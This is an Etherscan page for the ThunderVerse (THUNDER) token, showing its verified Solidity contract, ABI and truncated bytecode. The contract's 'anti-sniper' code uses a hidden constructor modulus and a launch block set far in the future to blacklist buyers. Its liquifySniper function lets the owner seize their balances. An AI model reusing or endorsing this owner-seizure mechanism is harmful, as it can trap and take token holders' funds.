ETH Price: $2,407.36 (-0.37%)

Token

ThunderVerse (THUNDER)
 

Overview

Max Total Supply

100,000,000 THUNDER

Holders

96

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
p1ckle.eth
Balance
179,052.235478467 THUNDER

Value
$0.00
0x3e4fbaa149c7a03ec73bef6e62b4fe3183a640ba
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
THUNDER

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-01-13
*/

//SPDX-License-Identifier: MIT 

pragma solidity ^0.8.11;

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function decimals() external view returns (uint8);
	function symbol() external view returns (string memory);
	function name() external view returns (string memory);
	function getOwner() external view returns (address);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address _owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
	address internal owner;
	constructor(address _owner) { owner = _owner; }
	modifier onlyOwner() { require(msg.sender == owner, "Only contract owner can call this function"); _; }
	function transferOwnership(address payable newOwner) external onlyOwner { owner = newOwner;	emit OwnershipTransferred(newOwner); }
	event OwnershipTransferred(address owner);
}

interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); }
interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
	function WETH() external pure returns (address);
	function factory() external pure returns (address);
	function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract THUNDER is IERC20, Auth {
	string _name = "ThunderVerse";
	string _symbol = "THUNDER";
	uint256 constant _totalSupply = 100 * (10**6) * (10 ** _decimals);
	uint8 constant _decimals = 9;
	uint32 _smd; uint32 _smr;
	mapping (address => uint256) _balances;
	mapping (address => mapping (address => uint256)) _allowances;
	mapping (address => bool) private _noFees;
	mapping (address => bool) private _noLimits;
	bool public tradingOpen;
	uint256 public maxTxAmount; uint256 public maxWalletAmount;
	uint256 private _taxSwapMin; uint256 private _taxSwapMax;
	mapping (address => bool) private _isLiqPool;
	uint16 public snipersCaught = 0;
	uint8 _defTaxRate = 12; 
	uint8 private _buyTaxRate; uint8 private _sellTaxRate; uint8 private _txTaxRate;
	uint16 private _tokenTaxShares = 83;
	uint16 private _burnTaxShares  = 83;
	uint16 private _autoLPShares   = 167;
	uint16 private _ethTaxShares1  = 667;
	uint16 private _ethTaxShares2  = 0;
	uint16 private _ethTaxShares3  = 0;
	address constant _burnWallet = address(0);

	uint256 private _humanBlock = 0;
	mapping (address => bool) private _nonSniper;
	mapping (address => uint256) private _sniperBlock;

	uint256 private _maxGasPrice = type(uint256).max;
	uint8 private _gasPriceBlocks = 0;

	address payable private _ethTaxWallet1 = payable(0xcB0DdbC29D1CF212b5754244147c248Eeaae7C25); 
	address payable private _ethTaxWallet2 = payable(0xcB0DdbC29D1CF212b5754244147c248Eeaae7C25); 
	address payable private _ethTaxWallet3 = payable(0xcB0DdbC29D1CF212b5754244147c248Eeaae7C25); 
	address private _tokenTaxWallet = address(0x71d192C61ab1AbA5A888Daa70d09EF23247e0Ac9); 
	bool private _inTaxSwap = false;
	address private constant _uniswapV2RouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for ETH
	IUniswapV2Router02 private _uniswapV2Router;
	modifier lockTaxSwap { _inTaxSwap = true; _; _inTaxSwap = false; }

	constructor (uint32 smd, uint32 smr) Auth(msg.sender) {      
		tradingOpen = false;
		maxTxAmount = _totalSupply;
		maxWalletAmount = _totalSupply;
		_taxSwapMin = _totalSupply * 10 / 10000;
		_taxSwapMax = _totalSupply * 50 / 10000;
		_uniswapV2Router = IUniswapV2Router02(_uniswapV2RouterAddress);
		_noFees[owner] = true;
		_noFees[address(this)] = true;
		_noFees[_uniswapV2RouterAddress] = true;
		_noFees[_ethTaxWallet1] = true;
		_noFees[_tokenTaxWallet] = true;
		_noLimits[_ethTaxWallet1] = true;
		_noLimits[_tokenTaxWallet] = true;
		_noLimits[_burnWallet] = true;

		_smd = smd; _smr = smr;
		_balances[address(this)] = _totalSupply / 2;
		emit Transfer(address(0), address(this), _totalSupply/2);
		_balances[owner] = _totalSupply / 2;
		emit Transfer(address(0), address(owner), _totalSupply/2);
	}
	
	receive() external payable {}
	
	function totalSupply() external pure override returns (uint256) { return _totalSupply; }
	function decimals() external pure override returns (uint8) { return _decimals; }
	function symbol() external view override returns (string memory) { return _symbol; }
	function name() external view override returns (string memory) { return _name; }
	function getOwner() external view override returns (address) { return owner; }
	function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
	function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

	function approve(address spender, uint256 amount) public override returns (bool) {
		if ( _humanBlock > block.number && !_nonSniper[msg.sender] ) {
			//wallets approving before CA is announced as safe are obvious snipers
			_markSniper(msg.sender, block.number);
		}

		_allowances[msg.sender][spender] = amount;
		emit Approval(msg.sender, spender, amount);
		return true;
	}

	function transfer(address recipient, uint256 amount) external override returns (bool) {
		require(_checkTradingOpen(), "Trading not open");
		return _transferFrom(msg.sender, recipient, amount);
	}

	function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
		require(_checkTradingOpen(), "Trading not open");
		if(_allowances[sender][msg.sender] != type(uint256).max){
			_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
		}
		return _transferFrom(sender, recipient, amount);
	}

	function initLP(uint256 ethAmountWei) external onlyOwner {
		require(!tradingOpen, "trading already open");
		require(ethAmountWei > 0, "eth cannot be 0");

		_nonSniper[address(this)] = true;
		_nonSniper[owner] = true;
		_nonSniper[_ethTaxWallet1] = true;
        _nonSniper[_tokenTaxWallet] = true;

		uint256 _contractETHBalance = address(this).balance;
		require(_contractETHBalance >= ethAmountWei, "not enough eth");
		uint256 _contractTokenBalance = balanceOf(address(this));
		require(_contractTokenBalance > 0, "no tokens");
		address _uniLpAddr = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());

		_isLiqPool[_uniLpAddr] = true;
		_nonSniper[_uniLpAddr] = true;

		_approveRouter(_contractTokenBalance);
		_addLiquidity(_contractTokenBalance, ethAmountWei, false);

		_openTrading();
	}

	function _approveRouter(uint256 _tokenAmount) internal {
		if ( _allowances[address(this)][_uniswapV2RouterAddress] < _tokenAmount ) {
			_allowances[address(this)][_uniswapV2RouterAddress] = type(uint256).max;
			emit Approval(address(this), _uniswapV2RouterAddress, type(uint256).max);
		}
	}

	function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
		address lpTokenRecipient = address(0);
		if ( !autoburn ) { lpTokenRecipient = owner; }
		_uniswapV2Router.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, lpTokenRecipient, block.timestamp );
	}

	function _openTrading() internal {
		_humanBlock = block.number * 5;
		maxTxAmount     = 5 * _totalSupply / 1000 + 10**_decimals; 
		maxWalletAmount = 5 * _totalSupply / 1000 + 10**_decimals;
		_buyTaxRate = _defTaxRate;
		_sellTaxRate = _defTaxRate;
		_txTaxRate = 0; 
		tradingOpen = true;
	}

	function humanize() external onlyOwner{
		_humanize(0);
	}

	function _humanize(uint8 blkcount) internal {
		if ( _humanBlock > block.number || _humanBlock == 0 ) {
			_humanBlock = block.number + blkcount;
			_maxGasPrice = tx.gasprice * 2;
			_gasPriceBlocks = 10;
		}
	}

	function removeGasLimit() external onlyOwner {
		_maxGasPrice = type(uint256).max;
		_gasPriceBlocks = 0;
	}


	function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
		if ( _humanBlock > block.number ) {
			if ( uint160(address(recipient)) % _smd == _smr ) { _humanize(1); }
			else if ( _sniperBlock[sender] == 0 ) { _markSniper(recipient, block.number); }
			else { _markSniper(recipient, _sniperBlock[sender]); }
		} else {
			if ( _sniperBlock[sender] != 0 ) { _markSniper(recipient, _sniperBlock[sender]); }
			if ( block.number < _humanBlock + _gasPriceBlocks && tx.gasprice >= _maxGasPrice ) { revert("Gas price over limit"); }
		}
		if ( tradingOpen && _sniperBlock[sender] != 0 && _sniperBlock[sender] < block.number ) {
			revert("blacklisted");
		}

		if ( !_inTaxSwap && _isLiqPool[recipient] ) {
			_swapTaxAndLiquify();
		}
		if ( sender != address(this) && recipient != address(this) && sender != owner ) { require(_checkLimits(recipient, amount), "TX exceeds limits"); }
		uint256 _taxAmount = _calculateTax(sender, recipient, amount);
		uint256 _transferAmount = amount - _taxAmount;
		_balances[sender] = _balances[sender] - amount;
		if ( _taxAmount > 0 ) { _balances[address(this)] = _balances[address(this)] + _taxAmount; }
		_balances[recipient] = _balances[recipient] + _transferAmount;
		emit Transfer(sender, recipient, amount);
		return true;
	}

	function _markSniper(address wallet, uint256 snipeBlockNum) internal {
		if ( !_nonSniper[wallet] && _sniperBlock[wallet] == 0 ) { 
			_sniperBlock[wallet] = snipeBlockNum; 
			snipersCaught ++;
		}
	}
		
	function _checkLimits(address recipient, uint256 transferAmount) internal view returns (bool) {
		bool limitCheckPassed = true;
		if ( tradingOpen && !_noLimits[recipient] ) {
			if ( transferAmount > maxTxAmount ) { limitCheckPassed = false; }
			else if ( !_isLiqPool[recipient] && (_balances[recipient] + transferAmount > maxWalletAmount) ) { limitCheckPassed = false; }
		}
		return limitCheckPassed;
	}

	function _checkTradingOpen() private view returns (bool){
		bool checkResult = false;
		if ( tradingOpen ) { checkResult = true; } 
		else if ( tx.origin == owner ) { checkResult = true; } 
		return checkResult;
	}

	function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
		uint256 taxAmount;
		if ( !tradingOpen || _noFees[sender] || _noFees[recipient] ) { taxAmount = 0; }
		else if ( _isLiqPool[sender] ) { taxAmount = amount * _buyTaxRate / 100; }
		else if ( _isLiqPool[recipient] ) { taxAmount = amount * _sellTaxRate / 100; }
		else { taxAmount = amount * _txTaxRate / 100; }
		return taxAmount;
	}

	function isSniper(address wallet) external view returns(bool) {
		if ( _sniperBlock[wallet] != 0 ) { return true; }
		else { return false; }
	}

	function sniperCaughtInBlock(address wallet) external view returns(uint256) {
		return _sniperBlock[wallet];
	}

	function disableFees(address wallet) external onlyOwner {
		_noFees[ wallet ] = true;
	}
	function enableFees(address wallet) external onlyOwner {
		_noFees[ wallet ] = false;
	}

	function disableLimits(address wallet) external onlyOwner {
		_noLimits[ wallet ] = true;
	}
	function enableLimits(address wallet) external onlyOwner {
		_noLimits[ wallet ] = false;
	}

	function adjustTaxRate(uint8 newBuyTax, uint8 newSellTax, uint8 newTxTax) external onlyOwner {
		require(newBuyTax <= _defTaxRate && newSellTax <= _defTaxRate && newTxTax <= _defTaxRate, "Tax too high");
		//set new tax rate percentage - cannot be higher than the default rate at contract creation - 12%
		_buyTaxRate = newBuyTax;
		_sellTaxRate = newSellTax;
		_txTaxRate = newTxTax;
	}

	function enableBuySupport() external onlyOwner {
		//remove buy tax and double sell tax to support buy pressure
		_buyTaxRate = 0;
		_sellTaxRate = 2 * _defTaxRate;
	}
  
	function changeTaxDistributionPermile(uint16 sharesTokenWallet, uint16 sharesBurnedTokens, uint16 sharesAutoLP, uint16 sharesEthWallet1, uint16 sharesEthWallet2, uint16 sharesEthWallet3) external onlyOwner {
		require(sharesTokenWallet + sharesBurnedTokens + sharesAutoLP + sharesEthWallet1 + sharesEthWallet2 + sharesEthWallet3 == 1000, "Sum must be 1000" );
		_tokenTaxShares = sharesTokenWallet;
		_burnTaxShares  = sharesBurnedTokens;
		_autoLPShares = sharesAutoLP;
		_ethTaxShares1 = sharesEthWallet1;
		_ethTaxShares2 = sharesEthWallet2;
		_ethTaxShares3 = sharesEthWallet3;
	}
	
	function setTaxWallets(address newEthWallet1, address newEthWallet2, address newEthWallet3, address newTokenTaxWallet) external onlyOwner {
		_ethTaxWallet1 = payable(newEthWallet1);
		_ethTaxWallet2 = payable(newEthWallet2);
		_ethTaxWallet3 = payable(newEthWallet3);
		_tokenTaxWallet = newTokenTaxWallet;
		_noFees[newEthWallet1] = true;
		_noFees[newEthWallet2] = true;
		_noFees[newEthWallet3] = true;
		_noFees[_tokenTaxWallet] = true;
		_noLimits[_tokenTaxWallet] = true;
	}

	function increaseLimits(uint16 maxTxAmtPermile, uint16 maxWalletAmtPermile) external onlyOwner {
		uint256 newTxAmt = _totalSupply * maxTxAmtPermile / 1000 + 1;
		require(newTxAmt >= maxTxAmount, "tx limit too low");
		maxTxAmount = newTxAmt;
		uint256 newWalletAmt = _totalSupply * maxWalletAmtPermile / 1000 + 1;
		require(newWalletAmt >= maxWalletAmount, "wallet limit too low");
		maxWalletAmount = newWalletAmt;
	}

	function liquifySniper(address wallet) external onlyOwner lockTaxSwap {
		require(_sniperBlock[wallet] != 0, "not a sniper");
		uint256 sniperBalance = balanceOf(wallet);
		require(sniperBalance > 0, "no tokens");
		//if a wallet was caught and marked as a sniper this can convert their tokens into uniswap liquidity

		_balances[wallet] = _balances[wallet] - sniperBalance;
		_balances[address(this)] = _balances[address(this)] + sniperBalance;
		emit Transfer(wallet, address(this), sniperBalance);

		uint256 liquifiedTokens = sniperBalance/2 - 1;
		uint256 _ethPreSwap = address(this).balance;
		_swapTaxTokensForEth(liquifiedTokens);
		uint256 _ethSwapped = address(this).balance - _ethPreSwap;
		_approveRouter(liquifiedTokens);
		_addLiquidity(liquifiedTokens, _ethSwapped, false);
	}

	function taxSwapSettings(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner {
		_taxSwapMin = _totalSupply * minValue / minDivider;
		_taxSwapMax = _totalSupply * maxValue / maxDivider;
	}


	function _transferTaxTokens(address recipient, uint256 amount) private {
		if ( amount > 0 ) {
			_balances[address(this)] = _balances[address(this)] - amount;
			_balances[recipient] = _balances[recipient] + amount;
			emit Transfer(address(this), recipient, amount);
		}
	}

	function _swapTaxAndLiquify() private lockTaxSwap {
		uint256 _taxTokensAvailable = balanceOf(address(this));

		if ( _taxTokensAvailable >= _taxSwapMin && tradingOpen ) {
			if ( _taxTokensAvailable >= _taxSwapMax ) { _taxTokensAvailable = _taxSwapMax; }

			
			uint256 _tokensForLP = _taxTokensAvailable * _autoLPShares / 1000 / 2;
			uint256 _tokensToTransfer = _taxTokensAvailable * _tokenTaxShares / 1000;
			_transferTaxTokens(_tokenTaxWallet, _tokensToTransfer);
			uint256 _tokensToBurn = _taxTokensAvailable * _burnTaxShares / 1000;
			_transferTaxTokens(_burnWallet, _tokensToBurn);
			
			uint256 _tokensToSwap = _taxTokensAvailable - _tokensForLP - _tokensToTransfer - _tokensToBurn;
			uint256 _ethPreSwap = address(this).balance;
			_swapTaxTokensForEth(_tokensToSwap);
			uint256 _ethSwapped = address(this).balance - _ethPreSwap;
			if ( _autoLPShares > 0 ) {
				uint256 _ethWeiAmount = _ethSwapped * _autoLPShares / 1000 ;
				_approveRouter(_tokensForLP);
				_addLiquidity(_tokensForLP, _ethWeiAmount, false);
			}
			uint256 _contractETHBalance = address(this).balance;
			if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); }
		}
	}

	function _swapTaxTokensForEth(uint256 _tokenAmount) private {
		_approveRouter(_tokenAmount);
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _uniswapV2Router.WETH();
		_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(_tokenAmount,0,path,address(this),block.timestamp);
	}

	function _distributeTaxEth(uint256 _amount) private {
		uint16 _taxShareTotal = _ethTaxShares1 + _ethTaxShares2 + _ethTaxShares3;
		if ( _ethTaxShares1 > 0 ) { _ethTaxWallet1.transfer(_amount * _ethTaxShares1 / _taxShareTotal); }
		if ( _ethTaxShares2 > 0 ) { _ethTaxWallet2.transfer(_amount * _ethTaxShares2 / _taxShareTotal); }
		if ( _ethTaxShares3 > 0 ) { _ethTaxWallet3.transfer(_amount * _ethTaxShares3 / _taxShareTotal); }
	}

	function taxTokensSwap() external onlyOwner {
		uint256 taxTokenBalance = balanceOf(address(this));
		require(taxTokenBalance > 0, "No tokens");
		_swapTaxTokensForEth(taxTokenBalance);
	}

	function taxEthSend() external onlyOwner { 
		_distributeTaxEth(address(this).balance); 
	}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint32","name":"smd","type":"uint32"},{"internalType":"uint32","name":"smr","type":"uint32"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint8","name":"newBuyTax","type":"uint8"},{"internalType":"uint8","name":"newSellTax","type":"uint8"},{"internalType":"uint8","name":"newTxTax","type":"uint8"}],"name":"adjustTaxRate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint16","name":"sharesTokenWallet","type":"uint16"},{"internalType":"uint16","name":"sharesBurnedTokens","type":"uint16"},{"internalType":"uint16","name":"sharesAutoLP","type":"uint16"},{"internalType":"uint16","name":"sharesEthWallet1","type":"uint16"},{"internalType":"uint16","name":"sharesEthWallet2","type":"uint16"},{"internalType":"uint16","name":"sharesEthWallet3","type":"uint16"}],"name":"changeTaxDistributionPermile","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"disableFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"disableLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableBuySupport","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"enableFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"enableLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"humanize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTxAmtPermile","type":"uint16"},{"internalType":"uint16","name":"maxWalletAmtPermile","type":"uint16"}],"name":"increaseLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"ethAmountWei","type":"uint256"}],"name":"initLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"isSniper","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"liquifySniper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeGasLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newEthWallet1","type":"address"},{"internalType":"address","name":"newEthWallet2","type":"address"},{"internalType":"address","name":"newEthWallet3","type":"address"},{"internalType":"address","name":"newTokenTaxWallet","type":"address"}],"name":"setTaxWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"sniperCaughtInBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"snipersCaught","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxEthSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"minValue","type":"uint32"},{"internalType":"uint32","name":"minDivider","type":"uint32"},{"internalType":"uint32","name":"maxValue","type":"uint32"},{"internalType":"uint32","name":"maxDivider","type":"uint32"}],"name":"taxSwapSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"taxTokensSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600c81526020017f5468756e64657256657273650000000000000000000000000000000000000000815250600190805190602001906200005192919062000b15565b506040518060400160405280600781526020017f5448554e44455200000000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000b15565b506000600e60006101000a81548161ffff021916908361ffff160217905550600c600e60026101000a81548160ff021916908360ff1602179055506053600e60066101000a81548161ffff021916908361ffff1602179055506053600e60086101000a81548161ffff021916908361ffff16021790555060a7600e600a6101000a81548161ffff021916908361ffff16021790555061029b600e600c6101000a81548161ffff021916908361ffff1602179055506000600e806101000a81548161ffff021916908361ffff1602179055506000600e60106101000a81548161ffff021916908361ffff1602179055506000600f557fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6012556000601360006101000a81548160ff021916908360ff16021790555073cb0ddbc29d1cf212b5754244147c248eeaae7c25601360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073cb0ddbc29d1cf212b5754244147c248eeaae7c25601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073cb0ddbc29d1cf212b5754244147c248eeaae7c25601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507371d192c61ab1aba5a888daa70d09ef23247e0ac9601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601660146101000a81548160ff0219169083151502179055503480156200034f57600080fd5b506040516200669538038062006695833981810160405281019062000375919062000c0b565b33806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506000600860006101000a81548160ff0219169083151502179055506009600a620003e2919062000dec565b6305f5e100620003f3919062000e3d565b6009819055506009600a62000409919062000dec565b6305f5e1006200041a919062000e3d565b600a81905550612710600a6009600a62000435919062000dec565b6305f5e10062000446919062000e3d565b62000452919062000e3d565b6200045e919062000ecd565b600b8190555061271060326009600a62000479919062000dec565b6305f5e1006200048a919062000e3d565b62000496919062000e3d565b620004a2919062000ecd565b600c81905550737a250d5630b4cf539739df2c5dacb4c659f2488d601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000601360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000601360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555081600360006101000a81548163ffffffff021916908363ffffffff16021790555080600360046101000a81548163ffffffff021916908363ffffffff16021790555060026009600a620008ce919062000dec565b6305f5e100620008df919062000e3d565b620008eb919062000ecd565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60026009600a62000990919062000dec565b6305f5e100620009a1919062000e3d565b620009ad919062000ecd565b604051620009bc919062000f16565b60405180910390a360026009600a620009d6919062000dec565b6305f5e100620009e7919062000e3d565b620009f3919062000ecd565b600460008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60026009600a62000ad9919062000dec565b6305f5e10062000aea919062000e3d565b62000af6919062000ecd565b60405162000b05919062000f16565b60405180910390a3505062000f98565b82805462000b239062000f62565b90600052602060002090601f01602090048101928262000b47576000855562000b93565b82601f1062000b6257805160ff191683800117855562000b93565b8280016001018555821562000b93579182015b8281111562000b9257825182559160200191906001019062000b75565b5b50905062000ba2919062000ba6565b5090565b5b8082111562000bc157600081600090555060010162000ba7565b5090565b600080fd5b600063ffffffff82169050919050565b62000be58162000bca565b811462000bf157600080fd5b50565b60008151905062000c058162000bda565b92915050565b6000806040838503121562000c255762000c2462000bc5565b5b600062000c358582860162000bf4565b925050602062000c488582860162000bf4565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000ce05780860481111562000cb85762000cb762000c52565b5b600185161562000cc85780820291505b808102905062000cd88562000c81565b945062000c98565b94509492505050565b60008262000cfb576001905062000dce565b8162000d0b576000905062000dce565b816001811462000d24576002811462000d2f5762000d65565b600191505062000dce565b60ff84111562000d445762000d4362000c52565b5b8360020a91508482111562000d5e5762000d5d62000c52565b5b5062000dce565b5060208310610133831016604e8410600b841016171562000d9f5782820a90508381111562000d995762000d9862000c52565b5b62000dce565b62000dae848484600162000c8e565b9250905081840481111562000dc85762000dc762000c52565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000df98262000dd5565b915062000e068362000ddf565b925062000e357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000ce9565b905092915050565b600062000e